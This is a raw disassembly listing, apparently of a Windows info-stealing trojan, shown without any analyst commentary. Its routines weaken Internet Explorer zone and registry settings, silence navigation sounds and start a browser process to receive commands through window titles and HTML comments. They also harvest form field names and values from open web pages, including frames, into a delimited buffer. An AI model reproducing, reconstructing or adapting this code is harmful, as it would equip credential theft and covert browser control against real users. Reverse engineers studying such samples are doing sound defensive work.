		push	4
		lea	eax, [ebp+var_108]
		push	eax
		push	offset a1601	; "1601"
		lea	eax, [ebp+var_100]
		push	eax
		push	80000002h
		call	sub_401379
		movzx	eax, [ebp+var_101]
		push	eax
		push	offset aSoftwarePolici ; "SOFTWARE\\Policies\\Microsoft\\Windows\\Cur"...
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_407E40
		push	4
		push	4
		lea	eax, [ebp+var_108]
		push	eax
		push	offset a1601	; "1601"
		lea	eax, [ebp+var_100]
		push	eax
		push	80000002h
		call	sub_401379
		push	4
		push	4
		lea	eax, [ebp+var_108]
		push	eax
		push	offset a1601	; "1601"
		lea	eax, [ebp+var_100]
		push	eax
		push	80000001h
		call	sub_401379
		add	esp, 78h
		add	[ebp+var_101], 1


loc_403CA5:				; CODE XREF: sub_403BC5+1Bj
		mov	al, [ebp+var_101]
		cmp	al, 5
		jb	loc_403BE5
		call	sub_4079C0	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_403CE1
		push	1
		push	4
		push	offset aYes	; "yes"
		push	offset aBrowsenewproce ; "BrowseNewProcess"
		push	offset a_defaultSoftwa ; ".DEFAULT\\SOFTWARE\\Microsoft\\Windows\\Cur"...
		push	80000003h
		call	sub_401379
		add	esp, 18h
		jmp	short loc_403D30
; ---------------------------------------------------------------------------


loc_403CE1:				; CODE XREF: sub_403BC5+F8j
		lea	eax, [ebp+var_110B]
		push	eax
		call	sub_4033E8
		lea	eax, [ebp+var_110B]
		push	eax
		push	offset aSSoftwareMicro ; "%s\\Software\\Microsoft\\Internet Explorer"...
		lea	eax, [ebp+var_210A]
		push	eax
		call	sub_407E40
		and	[ebp+var_10C], 0
		push	4
		push	4
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aIexplore_exe ; "iexplore.exe"
		lea	eax, [ebp+var_210A]
		push	eax
		push	80000003h
		call	sub_401379
		add	esp, 28h


loc_403D30:				; CODE XREF: sub_403BC5+11Aj
		push	4
		push	4
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aGlobaluseroffl ; "GlobalUserOffline"
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_401379
		push	1
		push	0
		push	offset byte_424E15
		push	offset byte_424E15
		push	offset aAppeventsSchem ; "AppEvents\\Schemes\\Apps\\Explorer\\Navigat"...
		push	80000001h
		call	sub_401379
		push	1
		push	0
		push	offset byte_424E15
		push	offset byte_424E15
		push	offset aAppeventsSch_0 ; "AppEvents\\Schemes\\Apps\\Explorer\\Activat"...
		push	80000001h
		call	sub_401379
		add	esp, 48h
		leave
		retn
sub_403BC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D8E	proc near		; CODE XREF: sub_405AAC+131p
					; sub_405AAC+326p ...

var_380		= dword	ptr -380h
var_379		= byte ptr -379h
var_275		= byte ptr -275h
var_274		= byte ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_25C		= dword	ptr -25Ch
var_250		= byte ptr -250h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 380h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		and	[ebp+var_14C], 0
		xor	edi, edi
		push	offset dword_420008
		call	sub_407A2C	; InterlockedIncrement
		mov	[ebp+var_264], eax
		push	10h
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_407E10
		mov	[ebp+var_268], 104h
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		push	offset aPath	; "Path"
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\IE Setup\\Setup"
		push	80000002h
		call	sub_401326
		add	esp, 24h
		mov	[ebp+var_26C], eax
		or	eax, eax
		jnz	short loc_403E12
		push	esi
		call	sub_407A68	; LocalFree
		xor	eax, eax
		jmp	loc_404113
; ---------------------------------------------------------------------------


loc_403E12:				; CODE XREF: sub_403D8E+75j
		call	sub_403BC5
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_407924	; ExpandEnvironmentStringsA
		push	[ebp+var_264]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	esi
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_403659
		add	esp, 20h
		mov	[ebp+var_14C], eax
		cmp	[ebp+arg_1C], 0
		jz	short loc_403E78
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403E72
		mov	eax, [ebp+arg_1C]
		mov	edx, [ebp+var_14C]
		mov	[eax], edx
		jmp	short loc_403E78
; ---------------------------------------------------------------------------


loc_403E72:				; CODE XREF: sub_403D8E+D5j
		mov	eax, [ebp+arg_1C]
		and	dword ptr [eax], 0


loc_403E78:				; CODE XREF: sub_403D8E+D0j
					; sub_403D8E+E2j
		cmp	[ebp+var_14C], 0
		jnz	short loc_403E8E
		push	esi
		call	sub_407A68	; LocalFree
		xor	eax, eax
		jmp	loc_404113
; ---------------------------------------------------------------------------


loc_403E8E:				; CODE XREF: sub_403D8E+F1j
		push	offset aIexplore_exe_0 ; "\\Iexplore.exe "
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E64
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E64
		call	sub_402CB2
		mov	[ebp+var_270], eax
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_407E10
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_407E10
		add	esp, 28h
		mov	[ebp+var_148], 44h
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		cmp	[ebp+var_270], 0
		jz	short loc_403F15
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_402D13
		pop	ecx
		jmp	short loc_403F1E
; ---------------------------------------------------------------------------


loc_403F15:				; CODE XREF: sub_403D8E+176j
		mov	[ebp+var_118], 0


loc_403F1E:				; CODE XREF: sub_403D8E+185j
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_407B1C	; CreateProcessA
		or	eax, eax
		jz	loc_4040DC
		push	[ebp+var_25C]
		call	sub_407984	; CloseHandle
		push	[ebp+var_264]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	offset aSUMicrosoftInt ; "%s%u - Microsoft Internet Explorer"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E40
		add	esp, 10h
		mov	[ebp+var_275], 0
		jmp	short loc_403FA9
; ---------------------------------------------------------------------------


loc_403F81:				; CODE XREF: sub_403D8E+223j
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aIeframe	; "IEFrame"
		call	sub_407B94	; FindWindowA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_403FB3
		push	3E8h
		call	sub_407AE0	; Sleep
		add	[ebp+var_275], 1


loc_403FA9:				; CODE XREF: sub_403D8E+1F1j
		mov	al, [ebp+var_275]
		cmp	al, 0Ah
		jb	short loc_403F81


loc_403FB3:				; CODE XREF: sub_403D8E+208j
		or	edi, edi
		jz	loc_4040D3
		push	0F000h
		call	sub_407AE0	; Sleep
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	edi
		call	sub_407B7C	; GetWindowTextA
		push	1
		push	offset aXOkrecv11 ; "X-okRecv11"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_4040CA
		lea	eax, [ebp+var_379]
		push	eax
		push	[ebp+arg_4]
		call	sub_4034AD
		add	esp, 8
		or	eax, eax
		jz	loc_4040BE	; DATA XREF: .data:0041CF71w
					; .data:0041CF8Bw ...
		push	0


loc_404014:				; DATA XREF: .data:0041D05Aw
		push	[ebp+arg_8]
		lea	eax, [ebp+var_379]
		push	eax
		call	sub_407A20	; DATA XREF: .data:0041D054r
		lea	eax, [ebp+var_14C] ; DATA XREF:	.data:0041D04Er
					; .data:0041D048r
		push	eax
		push	[ebp+arg_8]	; DATA XREF: .data:loc_41CFD9r
					; .data:loc_41CFE9r
		call	sub_4014E2	; DATA XREF: .data:0041CEDDw
		mov	[ebp+var_380], eax ; DATA XREF:	.data:0041CEE7w
					; .data:0041CF02r ...


loc_404038:				; DATA XREF: .data:0041CEEFw
		push	[ebp+arg_8]
		call	sub_407B70	; DATA XREF: .data:0041CEFCo
					; .data:0041CF0Ao
		push	offset aHtml_1	; "<HTML><!--"
		call	sub_407B4C	; lstrlenA
		push	eax
		push	offset aHtml_1	; "<HTML><!--"
		push	[ebp+var_380]
		call	sub_407E7C
		add	esp, 14h
		or	eax, eax
		jnz	short loc_40408C
		push	offset aHtml_1	; "<HTML><!--"
		call	sub_407B4C	; lstrlenA
		mov	edi, [ebp+var_14C]
		sub	edi, 3Ah
		push	edi
		mov	edi, eax
		add	edi, [ebp+var_380]
		push	edi
		push	[ebp+arg_8]
		call	sub_403459
		add	esp, 0Ch
		jmp	short loc_4040A7
; ---------------------------------------------------------------------------


loc_40408C:				; CODE XREF: sub_403D8E+2D2j
					; DATA XREF: .data:0041CE8Cw ...
		mov	eax, [ebp+var_14C]
		sub	eax, 40h	; DATA XREF: .data:0041D3ECw
					; .data:0041D3F2r ...
		push	eax
		push	[ebp+var_380]	; DATA XREF: .data:0041E1D5r
sub_403D8E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40409C	proc near		; DATA XREF: .data:0041D316o
		push	dword ptr [ebp+10h]
		call	sub_403459
		add	esp, 0Ch


loc_4040A7:				; CODE XREF: sub_403D8E+2FCj
					; DATA XREF: sub_41D468+Co
		push	dword ptr [ebp-380h]
		call	sub_407A68	; LocalFree
		mov	dword ptr [ebp-14Ch], 2	; DATA XREF: sub_41D468+1Co
		jmp	short loc_4040E3
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_403D8E+27Ej
		mov	dword ptr [ebp-14Ch], 1
		jmp	short loc_4040E3
; ---------------------------------------------------------------------------


loc_4040CA:				; CODE XREF: sub_403D8E+264j
		and	dword ptr [ebp-14Ch], 0
		jmp	short loc_4040E3
; ---------------------------------------------------------------------------


loc_4040D3:				; CODE XREF: sub_403D8E+227j
		and	dword ptr [ebp-14Ch], 0
		jmp	short loc_4040E3
; ---------------------------------------------------------------------------


loc_4040DC:				; CODE XREF: sub_403D8E+1BAj
		and	dword ptr [ebp-14Ch], 0


loc_4040E3:				; CODE XREF: sub_40409C+20j
					; sub_40409C+2Cj ...
		lea	eax, [ebp-250h]
		push	eax
		call	sub_407B70	; DeleteFileA
		push	esi
		call	sub_407A68	; LocalFree
		push	0
		push	dword ptr [ebp-260h]
		call	sub_407AEC	; TerminateProcess
		push	dword ptr [ebp-260h]
		call	sub_407984	; CloseHandle
		mov	eax, [ebp-14Ch]


loc_404113:				; CODE XREF: sub_403D8E+7Fj
					; sub_403D8E+FBj
		pop	edi
		pop	esi
		leave
		retn
sub_40409C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404117	proc near		; CODE XREF: sub_4043B0+D5p
					; sub_404878-18Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	sub_407B58	; lstrlenW
		mov	edi, eax
		push	0
		push	0
		push	1FFFh
		push	esi
		push	edi
		push	ebx
		push	0
		push	0
		call	sub_407B28	; WideCharToMultiByte
		mov	byte ptr [esi+edi], 0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_404117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40414B	proc near		; CODE XREF: sub_404184+80p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_420010, 0
		jz	short loc_404167
		mov	eax, dword_420010
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_404167:				; CODE XREF: sub_40414B+Fj
		mov	eax, [edi+4]
		push	dword ptr [edi+4]
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [edi]
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		call	sub_406E88
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40414B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404184	proc near		; CODE XREF: sub_4043B0+37p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		and	dword ptr [edi], 0
		and	dword ptr [edi+4], 0
		push	0
		call	sub_406E7C
		lea	eax, [ebp+var_10]
		push	eax
		push	offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
		call	sub_406E70
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		setl	bl
		or	ebx, ebx
		jnz	short loc_404203
		push	edi
		push	offset dword_4253E8
		push	4
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_406E64
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		setl	bl
		or	ebx, ebx
		jnz	short loc_404203
		mov	eax, edi
		add	eax, 4
		push	eax
		push	offset dword_4253D8
		mov	eax, [edi]
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		setl	bl
		or	ebx, ebx
		jnz	short loc_404203
		xor	eax, eax
		inc	eax
		jmp	short loc_40420C
; ---------------------------------------------------------------------------


loc_404203:				; CODE XREF: sub_404184+33j
					; sub_404184+53j ...
		push	edi
		call	sub_40414B
		pop	ecx
		xor	eax, eax


loc_40420C:				; CODE XREF: sub_404184+7Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404211	proc near		; CODE XREF: sub_4043B0+5Fp

var_10020	= byte ptr -10020h
var_1001F	= byte ptr -1001Fh
var_20		= word ptr -20h
var_18		= dword	ptr -18h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10024h
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		cmp	dword_420014, 0FFFFh
		jz	short loc_404234
		and	dword_42000C, 0


loc_404234:				; CODE XREF: sub_404211+1Aj
		mov	eax, dword_42000C
		cmp	[ebp+arg_4], eax
		jz	loc_4043AB
		mov	eax, [ebp+arg_4]
		mov	dword_42000C, eax
		cmp	dword_420010, 0
		jz	short loc_404265
		mov	eax, dword_420010
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword_420010, 0


loc_404265:				; CODE XREF: sub_404211+40j
		push	0FFFFh
		lea	eax, [ebp+var_1001F]
		push	eax
		push	[ebp+arg_4]
		call	sub_407B7C	; GetWindowTextA
		push	1
		push	offset aMicrosoftInter ; "Microsoft Internet Explorer"
		lea	eax, [ebp+var_1001F]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jnz	short loc_4042A2
		and	dword_420010, 0
		jmp	loc_4043AB
; ---------------------------------------------------------------------------


loc_4042A2:				; CODE XREF: sub_404211+83j
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		cmp	[ebp+var_8], 0
		jz	loc_4043AB
		or	ebx, ebx
		jnz	loc_4043AB
		and	[ebp+var_4], 0
		cmp	dword_420014, 0FFFFh
		jz	short loc_4042F6
		inc	dword_420014
		mov	eax, [ebp+var_8]
		cmp	dword_420014, eax
		jbe	short loc_4042EE
		and	dword_420014, 0


loc_4042EE:				; CODE XREF: sub_404211+D4j
		mov	eax, dword_420014
		mov	[ebp+var_4], eax


loc_4042F6:				; CODE XREF: sub_404211+C3j
					; sub_404313+8Bj
		push	0
		call	sub_407DC8
		pop	ecx
		mov	[ebp+var_20], 2
		mov	eax, [ebp+var_4]
		mov	[ebp+var_18], eax
		mov	dword_420014, eax
		lea	eax, [ebp+var_C]
		push	eax
sub_404211	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404313	proc near		; DATA XREF: sub_41D569+1E1o
		lea	esi, [ebp-20h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+8]
		mov	edi, [edi+4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_404381
		push	offset dword_420010
		push	offset dword_4253F8
		mov	eax, [ebp-0Ch]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_404381
		lea	eax, [ebp-10024h]
		push	eax
		mov	eax, dword_420010
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_404381
		mov	dword_420014, 0FFFFh
		mov	eax, [ebp+0Ch]
		cmp	[ebp-10024h], eax
		jz	short loc_4043AB


loc_404381:				; CODE XREF: sub_404313+1Fj
					; sub_404313+3Cj ...
		cmp	dword_420010, 0
		jz	short loc_404395
		mov	eax, dword_420010
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404395:				; CODE XREF: sub_404313+75j
		inc	dword ptr [ebp-4]
		mov	eax, [ebp-8]
		cmp	[ebp-4], eax
		jb	loc_4042F6
		and	dword_420010, 0


loc_4043AB:				; CODE XREF: sub_404211+2Bj
					; sub_404211+8Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404313	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043B0	proc near		; CODE XREF: sub_404ED7+3Ap

var_52640	= byte ptr -52640h
var_52630	= word ptr -52630h
var_52628	= dword	ptr -52628h
var_52620	= dword	ptr -52620h
var_5261C	= byte ptr -5261Ch
var_52618	= dword	ptr -52618h
var_52614	= byte ptr -52614h
var_5260C	= dword	ptr -5260Ch
var_52608	= dword	ptr -52608h
var_52604	= dword	ptr -52604h
var_52600	= dword	ptr -52600h
var_525FA	= word ptr -525FAh
var_525F8	= dword	ptr -525F8h
var_525F4	= dword	ptr -525F4h
var_525E4	= byte ptr -525E4h
var_524CC	= dword	ptr -524CCh
var_10FAC	= dword	ptr -10FACh
var_10FA8	= dword	ptr -10FA8h
var_10001	= byte ptr -10001h
var_2		= word ptr -2

; FUNCTION CHUNK AT 00404ED2 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		mov	eax, 6378Ch
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		push	offset aValue	; "value"
		call	sub_406E40
		mov	[ebp+var_10FA8], eax
		push	offset aName	; "name"
		call	sub_406E40
		mov	[ebp+var_10FAC], eax
		lea	eax, [ebp+var_52614]
		push	eax
		call	sub_404184
		pop	ecx
		or	eax, eax
		jz	loc_404ED2


loc_4043F5:				; CODE XREF: sub_4043B0+6Ej
					; sub_4043B0+86j ...
		push	0
		call	sub_407DC8
		call	sub_407BC4	; GetForegroundWindow
		mov	[ebp+var_5260C], eax
		push	eax
		lea	eax, [ebp+var_52614]
		push	eax
		call	sub_404211
		add	esp, 0Ch
		cmp	dword_420010, 0
		jz	short loc_4043F5
		lea	eax, [ebp+var_525F4]
		push	eax
		mov	eax, dword_420010
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4043F5
		lea	eax, [ebp+var_525F8]
		push	eax
		push	offset dword_425398
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404EB4
		lea	eax, [ebp+var_52618]
		push	eax
		mov	eax, dword_420010
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404E9F
		push	offset byte_409130
		push	[ebp+var_52618]
		call	sub_404117
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_52620], edi
		mov	eax, [ebp+var_5260C]
		mov	ds:dword_419134, eax
		lea	eax, [ebp+var_525FA]
		push	eax
		mov	eax, dword_420010
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404E9F
		cmp	[ebp+var_525FA], 0
		jnz	loc_404E9F
		mov	[ebp+var_10001], 0
		mov	[ebp+var_2], 0
		lea	eax, [ebp+var_52600]
		push	eax
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404E9F
		lea	eax, [ebp+var_5261C]
		push	eax
		mov	eax, [ebp+var_52600]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404E8A
		or	[ebp+var_524CC], 0FFFFFFFFh


loc_404519:				; CODE XREF: sub_404878+2A8j
		and	[ebp+var_52604], 0
		and	[ebp+var_52608], 0
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_404552
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		or	ebx, ebx
		jz	loc_40460A
		jmp	loc_404B0E
; ---------------------------------------------------------------------------


loc_404552:				; CODE XREF: sub_4043B0+17Ej
		mov	[ebp+var_52630], 17h
		mov	eax, [ebp+var_524CC]
		mov	[ebp+var_52628], eax
		lea	eax, [ebp+var_52640]
		push	eax
		lea	eax, [ebp+var_52630]
		push	eax
		mov	eax, [ebp+var_52600]
		push	eax
sub_4043B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40457C	proc near		; DATA XREF: sub_41D569+E0o
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp-52604h]
		push	eax
		push	offset dword_4253C8
		mov	eax, [ebp-52638h]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404B0E
		lea	eax, [ebp-52608h]
		push	eax
		mov	eax, [ebp-52604h]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_4045D4
		mov	eax, [ebp-52604h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_404B0E
; ---------------------------------------------------------------------------


loc_4045D4:				; CODE XREF: sub_40457C+45j
		lea	eax, [ebp-525E4h]
		push	eax
		mov	eax, [ebp-52608h]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_40460A
		mov	eax, [ebp-52608h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp-52604h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_404B0E
; ---------------------------------------------------------------------------


loc_40460A:				; CODE XREF: sub_4043B0+197j
					; sub_40457C+6Fj
		lea	eax, [ebp-525ECh]
		push	eax
		mov	eax, [ebp-525E4h]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404E4B
		and	dword ptr [ebp-21784h],	0
		jmp	loc_404AFC
sub_40457C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404878


loc_404633:				; CODE XREF: sub_404878+290j
		push	0
		call	sub_407DC8
		pop	ecx
		mov	word ptr [ebp-62658h], 2
		mov	eax, [ebp-21784h]
		mov	[ebp-62650h], eax
		lea	eax, [ebp-62644h]
		push	eax
		lea	esi, [ebp-62658h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp-62658h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp-525E4h]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404AF6
		and	dword ptr [ebp-6265Ch],	0
		lea	eax, [ebp-6265Ch]
		push	eax
		push	offset dword_4253A8
		mov	eax, [ebp-62644h]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_4048E4
		lea	eax, [ebp-62660h]
		push	eax
		mov	eax, [ebp-6265Ch]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_4048E4
		lea	eax, [ebp-62627h]
		push	eax
		push	dword ptr [ebp-62660h]
		call	sub_404117
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp-6263Ch], edi
		and	dword ptr [ebp-52624h],	0
		jmp	short loc_40472E
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_404878-13Ej
		mov	eax, [ebp-52624h]
		mov	al, [ebp+eax-62627h]
		cmp	al, 0Dh
		jz	short loc_40471A
		cmp	al, 0Ah
		jnz	short loc_404728


loc_40471A:				; CODE XREF: sub_404878-164j
		mov	eax, [ebp-52624h]
		mov	byte ptr [ebp+eax-62627h], 0


loc_404728:				; CODE XREF: sub_404878-160j
		inc	dword ptr [ebp-52624h]


loc_40472E:				; CODE XREF: sub_404878-175j
		mov	eax, [ebp-6263Ch]
		cmp	[ebp-52624h], eax
		jb	short loc_404705
		cmp	dword ptr [ebp-524CCh],	0FFFFFFFFh
		jnz	short loc_404774
		push	dword ptr [ebp-21784h]
		push	offset aMainpgForm_X ; "<MAINPG-FORM_%X> "
		lea	eax, [ebp-6275Fh]
		push	eax
		call	sub_407E40
		lea	eax, [ebp-6275Fh]
		push	eax
		lea	eax, [ebp-10001h]
		push	eax
		call	sub_407E64
		add	esp, 14h
		jmp	short loc_4047A7
; ---------------------------------------------------------------------------


loc_404774:				; CODE XREF: sub_404878-135j
		push	dword ptr [ebp-21784h]
		push	dword ptr [ebp-524CCh]
		push	offset aFrame_XForm_X ;	"<FRAME_%X-FORM_%X> "
		lea	eax, [ebp-6275Fh]
		push	eax
		call	sub_407E40
		lea	eax, [ebp-6275Fh]
		push	eax
		lea	eax, [ebp-10001h]
; END OF FUNCTION CHUNK	FOR sub_404878

; =============== S U B	R O U T	I N E =======================================



sub_40479E	proc near		; DATA XREF: sub_41D569+502o
		push	eax
		call	sub_407E64
		add	esp, 18h


loc_4047A7:				; CODE XREF: sub_404878-106j
		and	dword ptr [ebp-52624h],	0


loc_4047AE:				; CODE XREF: sub_40479E+9Bj
		mov	eax, [ebp-52624h]
		lea	ecx, [ebp+eax-62627h]
		or	eax, 0FFFFFFFFh


loc_4047BE:				; CODE XREF: sub_40479E+25j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4047BE
		mov	[ebp-62630h], eax
		cmp	eax, 0
		jz	short loc_4047D7
		cmp	eax, 0C8h
		jbe	short loc_4047D9


loc_4047D7:				; CODE XREF: sub_40479E+30j
		jmp	short loc_404820
; ---------------------------------------------------------------------------


loc_4047D9:				; CODE XREF: sub_40479E+37j
		cmp	dword ptr [ebp-62630h],	1
		jnz	short loc_4047F2
		mov	eax, [ebp-52624h]
		cmp	byte ptr [ebp+eax-62627h], 20h
		jz	short loc_404820


loc_4047F2:				; CODE XREF: sub_40479E+42j
		push	offset asc_4247C0 ; "|"
		lea	eax, [ebp-10001h]
		push	eax
		call	sub_407E64
		mov	eax, [ebp-52624h]
		lea	eax, [ebp+eax-62627h]
		push	eax
		lea	eax, [ebp-10001h]
		push	eax
		call	sub_407E64
		add	esp, 10h


loc_404820:				; CODE XREF: sub_40479E:loc_4047D7j
					; sub_40479E+52j
		mov	eax, [ebp-62630h]
		inc	eax
		add	[ebp-52624h], eax
		mov	eax, [ebp-6263Ch]
		cmp	[ebp-52624h], eax
		jb	loc_4047AE
		and	dword ptr [ebp-62638h],	0
		lea	ecx, [ebp-10001h]
		or	eax, 0FFFFFFFFh


loc_40484F:				; CODE XREF: sub_40479E+B6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40484F
		mov	[ebp-62630h], eax
		mov	dword ptr [ebp-52624h],	0
		jmp	short loc_4048C8
sub_40479E	endp ; sp-analysis failed

